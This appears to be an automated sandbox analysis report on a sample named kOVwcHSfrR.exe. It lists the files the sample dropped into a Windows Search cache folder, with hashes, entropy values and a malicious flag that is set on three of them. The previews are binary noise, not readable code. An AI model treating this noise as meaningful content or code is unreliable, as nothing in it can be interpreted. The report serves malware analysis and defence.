#.....C..L_=..v.Z...daF.'.T.\[...\....LO\|...N.......'x}._..S;...M...o..GF...^.1..(....k~h.$V..../.pC..]............}.Xz.l...#.5.k...gl.ih.d...taXMc. ...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\KzWxoKDHqNy24XFwlA6xWw89_DA.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	9214
Entropy (8bit):	7.978712077853097
Encrypted:	false
SSDEEP:	192:7mpEsQxRS0sd2PC1a6zkkHoLdmnGyuW+d/3azsgMk6lNwQiz7gre67KZmrSV:7YEsQLbshEkHoENfu/35kywQvy3YSV
MD5:	DCEAE65BD9DC60AC90B5097B055EAEF3
SHA1:	26904821A3663AA4E3488C179422F6A9F301D70A
SHA-256:	25023325511AFD4DB9EB76E04680CE0357C531B18F8B681FBBFE85B3AF64D952
SHA-512:	ADB14BC62321E55B298A075DCEC6A70A739F1A68EE34B7A8C095C9B823E6AACFED01C314FFFE0FAB82584434AE19E46B82058B168260E0AFFEFD7757D55A3B27
Malicious:	false
Preview:	var F3.C.,.2.7.m.....?X..........$.........i..R(.f)G..S,.;..5(..\.X..l.D...eD.....] ..#.7.....q..~w...!3...}.......QV.M.v....7..!...N....[p(.I.........^...b..p3.C..~.4iA./7Y..uN.....H.9MHI.Y..b..4/...]~..VY.v....7...1....;..\.4..J.z...+7....AO...Iv..c.Dn...k#c....]0...z.O.A/.0....'.Lc.]...V...z....w.....\j..%K.......3.....D./8W..\|=..\.Uy.L{}...aY.(.G.5#..&..N6....}..Q...+(\.<?{.....U....fZ6Q@j...w.....k..}....c\.h.A..a.PP...M....P..T...-).Rq.Seil@q.m..W.@?:..'.z..r.w...\|...e........T...`E...JoU.$.Y.....v.6...m..$k.q.\|.T.S.....K.?........p....}T.x_..A...X&.e!.JM..r.5&.....bc....1{}..3....L....R..,....1Xs.H4,`..ve...i8....U.....Q..kG....Ki..1Pg.;`4.W.b........,@../..F....\...j!...[cA.[.3\.......(...v........J..-....9...e.\G...-......E.bR.o......\M#.........!d.L9....>__g.QH.=NC.SK.K.......E...l..}.....6U..p....96.f9....;S.n.S..4.77....1.M5'..<`.".=?..;.V.E...Q.....f...Vv.y..J.......Yu..M...G.....].....L.Z.....qw0.....B.NTZ.*....M.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\LisgCZCwGQ4lRz4go9tlwPslw_k.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16105
Entropy (8bit):	7.98932264846972
Encrypted:	false
SSDEEP:	384:dVk7jyWgjU6mUaI9cL0liS+jfRLdsr9kuKYtATsnjd:+7gA349E0l6jJLdS9kFHTsnZ
MD5:	B59E872C4F57DDB7F6B8CE8580317A37
SHA1:	94B86242278682854ED607D99A39986AA61A31D8
SHA-256:	83DFFBFBB08FCB56017009C5D1FFB0B936DD3C921BA46086A273A3C549ECD45E
SHA-512:	594D187FE5A87A70B186D72E69B55CD13629674B0CB59FEB78900B29BA7853A0CF12F1E2DF6872F593F7E0B8A1F98F509CE6BCB51910B7A8A06F451600BC3447
Malicious:	false
Preview:	var W.U:.2..Q..i..s-.w/O...eO..l([u#...-...&...._....m..61.!.".Ds.t.t...\........m....6.'........&.3....i.<. ]G...+.....M..o(TEao...0....v<{......)z\...kkx.....x.M...\|......U.'T......2....VH..Xc<...\|.[]Q5.LC...%cImmB>w.e.i.C%..'...].=b..o......]Z.7....`+.9./.<........$+.1.......;.M..'.J=.p.~..?5;.....3T.n[....Q. *.=.m...z.......K..I...W...e...9e3:6'...'..o..d.....(...{.f?_...........@.....mk..3L .o....3....]&......o..S.].c.hz@..8.q-.c\|}F o..:_e.lc..G6&..........7....R...X.......G..2a1v.....}..W3.7G.u...... .'...,.}.,.i...&Q....1..f..:."&\..Yl.G.nr.=...1-....[.O\|V.......m.e..E....Y.i...Fut..T...&..CR..>63..........1.M.{..m.c?.'#....Oz4...f..Q5k...R....=..K...m__n..I_".e...\.<..x....0.Z`....wC.J....... ..t.-.....).~..aV.C..s..3.7..u.A..s,{.t'`...7...f!...x~.>..P...b^.\.C.Sv.O.9.8C....xT....&.Q.....G....X.B.#..`..E.(gz..FU.&X......%..3x.....<..I......7._.P..Q.vt..V.R...;./.<M..(K.\|..t.....o@.e.N..=g.......>.n.,.DY..%)...>..B....<..>.w.H...%\|i2

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	105444
Entropy (8bit):	7.998071397195223
Encrypted:	true
SSDEEP:	1536:knn02Wrlo25bcZV3YXruFzs5eGTZiPhH2L4RRwRlOCsc2SKsHuKyEujaYolzNuUr:C16o+bcZVwrupWIsLERhXsHuKyEooFX
MD5:	2CA40143D4B500BE6C408F2D4BE955A3
SHA1:	0B92C03DB301459F555F0811205A82A5F5E59C57
SHA-256:	D976BDB264E46D67FD15761353CB3E9A5EF1B2BF49242F73F7935F6430A4F7E5
SHA-512:	B30BDEB77A2DDF7A2F5CC91245429DBDB6A7691F0E5BADFAA54FC7B5C9CC99C03B699D4D808E69939ADD7CCCB10C198C4F56DF5DAB998D9EBC3D4F53F2D22FD6
Malicious:	true
Preview:	/! C.ef...}g^.o#t.:$.....F....Q...$.B...c..p....p.......vtN.e..e...w....V....:..d........'...Zv......^2...Q._.f.......(i.eUF../&q.Q ...e...v.Z.7..~...../.7>B."dZT.(.,...z.2.l........`.D.?\.q.....G..4...E........'K....k......?!h.n Q..g...I.h.'..N..Z..l...U..yS...!...%...@.......;......m0.....H..cl.a..t....../+..U..'.......b..FC.~Lp2.......N..... {z..1.{.QI...R.'@..rV..........`..-.....E..^.....<..Q....G+.......6.=U.V)..7.(..........R[......<i.2.....U...,.~..v....^Np..E...R0X.b{..=x.T...E.p....E)MW...:...;..'......M5\|l.%.\D.................g..i..N.Y.=k.-...j....K..@...DT._E......8r4~.......S....... .!..B..,..x.._...Bs]..7.7(G.....c..YG..O.l.:'.&;...2....."N;...Y..32... U...{.\|.d..D .u.-.$....t.....%S59.(....G.=..Up..p.;~...(.....1..I.DIs..E.k.O...H......s..o...v\|D.k..c.t#..b........"_f.['.z.s._...v...E.Yi...3..(.O7....]...o1O.t........M'...e...y...`ubv.No.{=2.A.6.q>e..0...'..{Y...V?vTi..a....#..#...4.u..;.0..)..Dw..a..q...>4.......a.j..4.J

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\N1a_FY8_9YTjAb9nKlOpaAAvPEs.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	14501
Entropy (8bit):	7.985624017262948
Encrypted:	false
SSDEEP:	384:+iwZh/5tFtUIU+pjYh/uO3EyWi8m8iPV3j+Uf9:2ZRw3+Y2OdWi8m8e3SUF
MD5:	503F95FAF3131CCAAB7D4DA8292093B4
SHA1:	0A8E394C8020BBFBF11FBC329D5B084BA9AD4AA3
SHA-256:	9A8C51B480FAE3CDFA9DB81AE4B352F0735B002EBF363AD65BDD9DA679C9E7EB
SHA-512:	E96C56B79557A6DD88DCD59244D1140A2072D7FBF842798829F1B48E2DF994095F832D0D203FD5EE383309CFFEB5B25E7E8928C2468EB50379A11ADCD945F6EC
Malicious:	false
Preview:	var W..n0M#I..c........k.=....._R......c}..XS..G..U.:.y\|.b...FD>.N..??w.GzQ..!lR.j...\|......S.e....".6.+P1...t..a..eM.>Hxer....a.)....V._.J...N..x..$..u.............4..I....H!...g.0. ...mU.0.....4.~...".JTs.....p..,../...n.f.DZ.Z..h._.)..r...:.....u".fb........4.c...~^i......Q.....r.......eu..!.&.T..c...........[..HB.k6L...........:.....m@...;....0..-9..j2.1.<...s.o.E..(.w....r..9.....?..@....M..7k#2j...4\|....F1.aM....;...=.3...PS.i.h\G......mD.gwOM...=.Ig....$9Qc.\.4.L.d...M...k.M\.$....b.x#...x..S.eV.....4;......K...m9......'.K..A.>....kby....{...f../.we........9....eFFn.h.2..f..D.gw.n.$../Q>...%................. .....]L..h..jP."". .......MK.blj\|.R.u5_.U...j........<....[....3...2....b?q2...p..`(...3..<&...u8..O.{k.+\F...[..!..y>HA...J.;..R.V...xm....}.q...H....Caw..V.^....)..~gS../.).B.xA.9.D.e.JV.5...h....t[.$.;.+..e.Qr.Z6...K(..;..8.1..........~+zx.`Q.N..L~....d!....n55.......\|VP6........:i.N*,....<P...L.....'".....dc.bd.G..G.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\QNBBNqWD9F_Blep-UqQSqnMp-FI[1].css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	340
Entropy (8bit):	7.195432777984947
Encrypted:	false
SSDEEP:	6:jzuq6MtLoJ/e4Raxt4R0D2tDkxYIVcr0kUNfMowfw5XeWcii96Z:T+J/VUtjDCkxYwcr0Fkoqw1cii9a
MD5:	8C79C75BA4E0CF3A16F1E2569B725C44
SHA1:	1E31DBE205ADB4636C794685B7E1D6FFDB856F2B
SHA-256:	05E7707B8325269DB728F444501C0832820AA16AEC527C4A4D352A589EDD8B72
SHA-512:	FD3C3EECF71D32DA3DB5E0D7984F42AD77F238CFEFDDD120B570AD1C4840BFDEE5C37168B4C65633883CD14A49D5B38BC6C5B037E39B01DF65E6BCF6F8E84F3E
Malicious:	false
Preview:	z{a:1Ve...o\v>.j..9d=~......5..K.4.m.q z#...L...A.....M..M...Fk...x.....rj...".w._..2.;..X..G..,F.....j.m../P..JXDl.aDu.Q.ER?.nl.......47..=Sf.<.FU...i..3...\|..#X..e.f.gy.....zs.].9..l?.g.VzKD.d2.....G$(c.Q'#......M3.\|...q\|........P..W..&@gWTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\QOGkmcG8R0fLT0lwbpvm9BNIUiY.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3201
Entropy (8bit):	7.9333676759713505
Encrypted:	false
SSDEEP:	96:KgRmO4NCHul20VIHCxviWsJeV/ifQInZa:DcxgHrQIHC+e8IIM
MD5:	9A4A9BAC24812B2A8FCD16FA1A429220
SHA1:	311CBC26C14AABA429C6AA2A95EF896B37699002
SHA-256:	8F5EAE10DC396206551E4DFC39D6F4DDB414178F7CB3A112C09E115B0418F550
SHA-512:	546B80E123482665CBB6DD3057E0DD8155264B89531DCB8FCFCB3F9A7E57D2B56E978C414CF63CB3D75D1D47E60615F1706FB50FA9C7953C616641BDCC722B60
Malicious:	false
Preview:	var WK.E..P:H.r...MT..Se/...4.b...8./l....H.4..qS8w.oe.-....N}M.m..._i.. u.....#..PKm.')>G..O..Y..%.+.v..8\......wy.8..0..;S-....{.R......E?..<....m.U$K...U.C.....}....l3k...?.m7 .B.....-....O....%.i..._..$......c!.M.&nM(O<.'...Z.W.E...K.e.. .....k..y7....n........6..2....`.......L~...........>..B......S`..#_..'..Y. ....}....bp.h.....F..Km....^.....0.zR..L....`...d-........h9...0H.;.......L.....}.L..........M......o!y~...n8.......w......a..i%q.WEv..D.8.jF.R.....<..4.F.D.,\.,3ZP.H...4mI..HN\.....e.,.8.._..E...q...8..p..3.....J.u..~k'J.....N...,!.....o..y....jE..b....;F..}r...P....4..aA......x'...:.j.E3..fw......;...w.^e..:..!.H..Hk...:......i......H.........I.....4!.@..>.......l..z#..v!c...`.}Hb...4...5\..b...p.....$...[.f.6.D..M..z....4Ub...O.e>....Sy.4y.w$...(m....F.J......l.<.#..)...%..".T_.4At....P.....L8...+EF.....GN.....~.r..\|.../..x..&.5.YB3Z........)C...BS`.n.O.u...R...)r%....]GfU.t..R.&..j...G~....ml..i...Ly...r^..L}...$BRM....=...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\U7NyqzPRBLq0g0Z9QPSKxnaembc.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	11147
Entropy (8bit):	7.982235369260593
Encrypted:	false
SSDEEP:	192:jT/fXQrFbmdKF02DT/ncYumacpJucxFs2C785GCiKoya6i5AdayPirMhr7:vgrFydI02DjcuJXNMY2vXAdP8w7
MD5:	BD589315E7A78E4BAEC6125C1A4D8D7A
SHA1:	DEC7E55054619CA123D9ECCEE267A70770769A41
SHA-256:	CF21B1C23B0051CEEBF7F70453BD50617BA8475C35C9372050260854C48FB69A
SHA-512:	366711A7F6A5D43D34216BE038B606C4B15E35AC4676E5D01F0259E128F6226F806605BCD7BC49CAC51DBDE5E2334B003B36F3ACF4543FC7B6010CE8CAC23F6E
Malicious:	false
Preview:	var W.N........~..~'.n..@.7...w.7. \|._G.qy.J...a.n..........t~C_..7......dMd!.z.ek...p...?v.I...?+H?}./\|r.7.d......>.2..o..~9.tii._..=Yn.......$...:...-...s.b.....`...-..aV.52.....J../....9.o..............L.Rn..EF.}.....@....7M.....G.!o@.1.....i.`{.X.Q.CQ/I...O..rk..I...-..g0...A..p`.L.q.1.5g.d@...S0..N)\|L.3..".Jex.......k...j...LE>.J.SQw..:..k..X........&....s..w!.../,.l......u]..a..J[...6R.V....+.C9...t.MF..H...m`>J....b[o.....5..{.W7-...}..9^~. ../.....s..%......q...m...>(..G..x..,....;I....9o.n.....=..r/.9....q..z.!....f.0G.......hO.qj......^x.i$!]H....u..:/<a.O?.X.ccrH....k.f...^.b.D......UI....]....$.d.3r>G.0....R.....H.\'......I.n......_7.?....-B&..0.>..C....}....I...Q...E.....a.....u.2@~.?0.q....*....3.U..T......o..j.T.q......H.l.m4.!...x.u#U.$c.k.)..[.2^.L...7I.]..# .@Gn....J....,.P...4.&PVy..`..rv/...6..}...].!....+$.$.$.,..W....P\..9.'..a.K_..o,.9R..E...B.^.L.X.R..!e.<x.. &.U.p..Y........#..M'.0G^1(w.g.C\..j2.H...^

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\XDTV5Ztdmvo1jmUE21mPICYC5h8.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	545335
Entropy (8bit):	7.032330894392188
Encrypted:	false
SSDEEP:	12288:QfPMUaPSH2slENRTJoaV4MYwRjMIP0dUW6cUlAvO3WWtAqyebWvTOQm:QXlQPslHwRBP0dUW6c7OQm
MD5:	5CC10D4628023B977FFF7BCE0611641A
SHA1:	2E4DA7536FF9F56F6A8D191E1DE3F7D74F9C8C83
SHA-256:	E30CF232773994E1787DC926CB8ECC4B38678F9CF4AD5446F3B39D63F6C094C2
SHA-512:	2147D1AC5DA4EF2C7469691AE603B1B2971450122C6BB1DC69242D7D471BEAE784B729278DBAE7D9B585AB9003F8F442EAC8E4E6913F8885B3ED778F58BC0B8F
Malicious:	false
Preview:	(func....R.X@..t...l..J.]Q.@A%XSZ\|...E....0.....";.I..0.D...r<3M..A..p....&...'..3........K.Z.x.Fi.n&..M)}.....lp:.../.m.J..J...F!X......t.r.@....?.0.\|.q..Z7:......l&_.n?6q19..:....1...uD...)...E>..\.T...s.....mC...\|.s.d...v-.....4;....G......K&.c..G.i){.[...\3..h.......xO"2...V3.......W....x.\..x.\|u...`....m?...i>-..DjH...y...{..a.=k+.?n.-R.H.....`.n.oe..1..0I.....C....(..>E&..W..T.;.."7...O!D....0.`...2k.......?..Vb....z..5..]..!....L.P.4F..~.l...;..[.~..b.T..._..m.?K.J.&....a.....g@i.m.O...n{.G.U...iB.8._...:..-@.v....e.."..r.o..\<`.....n....N..J.+......."..9.{.)j...P.....m...{..Ku...d.O..f..q.z.s7...r............'F.d..>....K.#....(.K...r...GamO.....`6.....M.I.!..k..".>.S.@..}.....j....w...@.`q.FI..\|.H...).`...n.L..9)#o...).(<q..E.`......QIJ...}C...3...[..G}..oa...{..[.A....l.7..._..Q.....Y..gz.z.....`.c....C..fW..?.j2.....[....C...B..E }L.~...}..x...'......f.e.K.".....c....%Q1..h.7.8x.^.s...V.{.U6.?.s...N.QO>{V1..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\YfXD9vOw8__a60l-k1HNCxSbem4.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	59090
Entropy (8bit):	7.997286357567255
Encrypted:	true
SSDEEP:	1536:zdilIRuRwxLM21NBuBMd/uCZu6RxWEkg4BJvkx2ARe/mQ2X:z8lIRuSwyug9u0WEF4BJK2KeeQK
MD5:	35C8E626D16B248906B012E892B56DCC
SHA1:	CC0F30C06A9D99C9C64DCDB40F5D468C7B0C820B
SHA-256:	4AA760D93EF53AB8248D28B5EF04232550EB004389BECDC0C40D987898192124
SHA-512:	3DFBDF2730D6C7C8FD4A0F1B1A9B6AF9F148DD9DD463640C0BB42C03C6B102F484F67039BCC5F25BC0FCF24C6A97892926325BF07865866E791CD430EBFB037E
Malicious:	true
Preview:	var W...(j...`.r?P..Y.9Xkv..:IY...o......RI&k.'x...l...W1"z.....wKr3...,......p..G...s8..D.0....%7..$5.1x....L....1F>.Q.P.).......m..X........HO.d.V.h1.=...I].f..1...b.H.U.....~B.)...........D .0'.1.....h.`..9Fi...ID.....M.,J..\...z_....{..b1qk...#c..G5w.m..(..)..S.....I...]....r.3...<...y.d.)?.G{..:..n...RM.V.Np.+..+%1..Z\|..o.\....p0&.#....:.P".........W.S......X@....o.".5.cao.$;....D..T.........A..L.Z4.}....W..s......c.....C......6.F.&...?.kcc.`.<\V.O.OI%...G..e.k.:.....jn.....8.l.Y%....G.Ss....Z..~. ....c..{......b../.N.?.........._M..ii+.pu$..........u.g....F2........X?1...(L3i...9M.x.`..La.......H<....._.$...T......G\|.x'/.......[S4."..{......}..G..-..."yn.]...'W..Ao..HUXz...o...o.O.Ue?.O.O..6.a....W...]HE.,)..2R...1.1l..Cb.f.E{Q.3.......?.\|u>3..7.....m.m....Jq.E1E...T.Yzr.6.$...-e...._.J.....Z..&C....n.y.....#((..-.....D.8..>..'.r0...H.,3/0.t8y...Q..V.[U#...._..%.Aq{i`'...tip....t...L%......Y8..f...).......l.......c.......)

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	121548
Entropy (8bit):	7.99862260533541
Encrypted:	true
SSDEEP:	3072:GnSjp+PjQQG8pvn7Md8mHl2FhCYQr0uf+5TwB8ROLMMJfy:GgSG8V01Q7Qr0uqnR0fy
MD5:	ACCD3D5B2F14E2B040F39F405A4C7872
SHA1:	A7437F4EFE2C86F4976D33B6BA73F811CD9FA8F1
SHA-256:	4CCD2602959549A46A5F49DEEAD7E561AFA49245B3B414187A1D3CDD12F19BE2
SHA-512:	7033288A75D684BCE64E9CA6E25AB6A378759F47BAE321538232DD564872660855C58E4F2573B998FA81637510BB788AA6BE140C74FDB02E0D787D1323F40D6B
Malicious:	true
Preview:	/!. ..uX.53...6....K=.....;..r.2.........g.g.$...w.......~7...M.5.#,.'...2..})OC+..X'!^....@G...!..~&..x......p<.S.).n.B.... ..%....};...uo.FHT.gQ,..;.v..A...,....h....Z.!..e....,.B...=.1A.u.S.....ggF.. ......,..O.-{....j"y..m....e..."....=.W..V..E...-...&.{...Ax..N.=tVnb..^........g.....L..=\|..=@X....+.JnP7.S..]..z.B!..}. .L.QD..`ZR>...-..u4J.....}/[A..\.....>....+.Z-nA......>2....../.S.....J,rG..&.02.Rb..`].........d3....).s..q..n....W.F.i.d...).N.QH.BI......~X..\.}Cx...G.....C.6.....G!......T..U..x.I.&..j...>.p..!}.0.k...w.t.....X..R..<.?.XH..~.\|s$[.<.. ...i.".z\......H.J]..l.\|M.2K......Y..p....%..A.tr....c..$..S......_2.G]f.x.......#.8.&.:...4.9w......9.%!D.....x...2.Hs...c.....R....-..f.1.qg0..Z.,m....YC..q......g7..(]&.X..Fh.gy..'.x..(....A.S]t....9...:.L.T .......~...[P5......lF.n&E..... .s..$[v..Q.s......\l\|'......p..X.D..Vv...h........a2..m.3%:1B..V...\..K.?....I......0.......PS6..H...0.....=...m.j.$\.rJ.w?...\|

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\appcache[1].man

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3484
Entropy (8bit):	7.94277921489862
Encrypted:	false
SSDEEP:	96:IOX8e4WhYA/szvwFa5NnDpx/W3o6cZcNtha:LMUuAgyIbxeEm+
MD5:	52660A27BFBF0B2EB7C0956CCA51998E
SHA1:	CF81B37826290F459BF0A1B6CF6B886F3FF46F30
SHA-256:	693E95A3F08811534A537B69952CCFFA165F247F62FF13ABF1162C0A50E08611
SHA-512:	94034C1CBAA2B1B692FA1BC673494BADCEFC515E5A4E745C0860F9C78491EF4130B930358533AEB5515ADBD6332C4E1E3CB1AE90F22226753856C69321683BB3
Malicious:	false
Preview:	CACHEv.p....:.I..kLQvY....tY.m....;^>..y$..stw.U...d..Xm...DM;...l..4...8g.5[RI\H8..X!8...\...@c....-....ow(c`R.z.?....Q.ce...s..~/D....Q..Z.=4.`......O. 7.pR8.4b./'S.A+]..x..'..rnp..R.^.dB....-..........P.D,...<.R....',....ie... q.[{...f.b.....{..{.....%...1k...!.<..Y.\...,..n.....k..[..=....H.:.+.8.Z\.....wi.-<'#;.>..W...~..\...V...0.T.x..g.......hJ.5.n.\|C...c..n..Y....C.z'....'z,....O..1]....~Jq.e.'t.+.j...l#a.e5.....s...5..\|..7.9L..1.8i5W2D\:.[.o.....N...H....DQ...L..r......t..a$m.h<t%...S.e.....:n....\TAT~uG..S,......H.Ke`...F...uI..._.G~......;Xg.~[.....*W.b..Y...B.-....j.u....:.Z..7..k...gS.0.TsO..)....= ....-......udX..x[.w.".^.q.-c5......U2.mu.H\w>z..2).R...V..J.<....o...w_........El..y9.5....U.H...c.<4..;...~t&...\|..{`.....[.gg..}.?l]Y..F..P.5]%......M...hB.$.2.[..{.&.....f./g.}.F)NM.....<.DD..L....V&.z.X...........X.}5...D.........r.G.r.....!..........9.J..&ySU^........}...Hw.....P.n`f."......AYn........L.t....{bCd.a.L~.1...}.%.u9

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\axXWui3EcbJQ5EbqyMZWmTud9p8.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4070
Entropy (8bit):	7.95285444651561
Encrypted:	false
SSDEEP:	96:2J5StHz+sCNITaFKmvuLYLcp4XTbWymVsH1qf/7Pea:2wlQIuFFv6YLFaymiH1qH7P9
MD5:	31E4928946C37FDB1462617FA2F53389
SHA1:	20337A6E2A9E6E49E2E49D1EE750CF0820F8D937
SHA-256:	429337953D065EF9AE43DBB3D05086123D604C6F9479238EB6FEA9AA4F8AB6EB
SHA-512:	16D02361469F9B95BA9CD8B6ACE511999E8180E0FF415E66575BFFE41D321580FC3BD0B6851CAC41F647218217DAB9F50D6FBE2E2257C8E911C01DF0C1AA1941
Malicious:	false
Preview:	var W0..R.L.F.\|.<..5x9t!q.!F?F....I.ES.x.&..`...#..j......y..2..$.T$..I>.....D...x.U.....6.$%.\|..........#..<.f2J1;.....`..:#.,I.._........@.=@k.Yp7..(.9-......7Xs..`.z....Z.:...I.....W.......2..}s..d.y.AM.2..&...4....NEQ....72.{.E.+,...d..1...`Y..mX.B.h.m\|..L..O...7.....g.....p..0&.....=........y....s.c{.s'r{..m.x.V+=...qc..&..&....>...4.+..h.(.P...$..h`...T+`.eI...\|.......z.F...ch.W`o.....+.<]...x^.q..#..@S.4..L.~..=..@.%.F....K{..F.Ok..E..T.P.YT.I...*W.B...s.\.=...a`...]......F.....b.....trQRG...1~=.n.1...S;...s..g./........$!.o/..I...G3..c.]l..n4X...m.nB)..y.../9>....}R.....YK#.z4.....JY..9.TB..k......pl\|ZbgC..n.s...F....k..exJ.......h...=.?n.^w...ZO..0..R..y...B5i<Uk..,..c..,Epj.R.h..B2....p1..R..?\|.....>....f..1,i..J..V..v.}.X./..$..qYr....\|;O..`.A.>jc.7..._...../.j..6;....L.Z.o.I.....I...m!e~c......#.K......'Q."U..-U.J.e.....I...1.....6._.s.#.}...Zs..I...../l.A.....>..f.R}.........k.R..g..!R`..$.&5_......I.e.h..\|..o.m

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\dYw9trBOUuy7sL9xTZGIliMEagg[1].css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	290621
Entropy (8bit):	7.207457095175803
Encrypted:	false
SSDEEP:	6144:FrCCLzh05GACjTGaE+PqqVeSRUCnZWHDH8HDHcHRHOHVjbUq7jdBBVbKyOqaYVHA:wCnsdCjqaE2lUCnZWHDH8HDHcHRHOHVE
MD5:	876509D543CC6F9F5B132E6F19931ACB
SHA1:	20D38531DF96ECAEED9D43214ADD6809CABBB2C9
SHA-256:	4D02AF840901EEF4235D087D3494FAC28F73C6ACCFFA7667405DDE129BC45CD5
SHA-512:	DABA3BF621E894F7EADEF21414157B7F1D9587C585DEC723F5896ED5DFF77AA73C69D2BCE382693E5E095AC2BCEA0D547489978223C2EA6D6E34ACCE45E2EA67
Malicious:	false
Preview:	#topR..R<...f......_5}..8..[OM...A..0.."...qZP....)4..x...&S...[t.[.....2}..Lt1m.(!6....l...D...h.R!..r-..^.s.....C7...UO...Wx^..a.....p0.8.Q.......+................H_...d..!..G.x...g..]...<.!.>.{:7HItj ......l.0.6&=.8._Lb...QG7/V>...).`.b>..Y..Q@G^..~...z..6E9E.Y.>.6..,_.&H.s..1].q@..{..Y..Y>.h....`jN... ....:...`...<v.....e.k\73.^F.oPlB.ps..j......_.z-AN(...T...L.c.s.&..Tk@..oL/..%t+.>.."..T4...Ul ..Y....4d..U@MyT.$D.i...#.))#...B%....cw....,-..Z.M;...3<..f.....(..73.c..P.u]+.... .7\|@6.d`.//...V.&{.d.Q_....<(Y~....uP1#.1.@..5*b.Q...tR..=K.}O=.t...=..OtT..\|.wh...D.C.......Y..;0.......f..9.......4....y..<..4V...1...........4.......m.`.~.....v.}a..k../...e."z...r....0..F....rR.....p.G.U..).\|..>...)...a.L.W.......A.._../..yY.L8...CV...T...........j+.C,.6...G.;....k......@8...q.XA.Z.MZ.)'.N.d"-..E.(Z.u.{..;.m.7........s.R.R\.j........>.....>..l.yRm.lji....z, ........~.w_..#.%).h..L.<.(..j..}.<...H.0..Y...cP.r.u.6...}K{qz.\N.R..6...i..;5.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\h0_ymK9wPEJMicnVALPw5taHcNA.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.903242648403773
Encrypted:	false
SSDEEP:	48:IrR1rJHPvBMI9nkglmLXbRJWjYPihbZXKOB4kG7hyD:QFvvRntI3WsPiXa84xa
MD5:	D34EB15C11BEDAF9117B046B4A60B504
SHA1:	7DE4262EBECBC937B77CB65B33F6CED1946D5127
SHA-256:	7C355CFCE20C95796B15ACC39116AEE25033657EE4718CF6A0D6F13C1DE843B7
SHA-512:	9B4D89BD6E7C37AD3B67B7556EAC786E20299740C65CA0CEB01AB3F6776D499F5DD48F01595A247D7CC50D1B9F28F3EA658CD060529BFD47A1C9C1AC9DC302E6
Malicious:	false
Preview:	var W.........&..?.....#...SG.. :X.E....L..)._.8).).}g...`D...]..{.....\.A=.....P......M.c..-.P..5..Z.F...,.(x..;.,.....d.....?.K.fC..E..w.2_N..$.A./.T.n..S..Ulr.Y.....C~.df.#P....d...P.........y....E.... ..(.&v..-.v..8..z."...4....a.:..S.mJ.Z.a....!.u.t....f..u.-3..,.C..$PR.6...?[c..s..3..Tam.......i.=.....Wi..y.pB....3n..P.ew.....NN.4.wR#...2....h....^._.......x ...r1..G..e.i.Z.%...PY.............!.Aw`p..H...,.I.@..`..D&...K.uDi.:M....s_.r...&W).GB`.C.F..-.JYR.G..RK...y.o.v........g)j..{..Y.=.#F.>d..'...}..P.....? 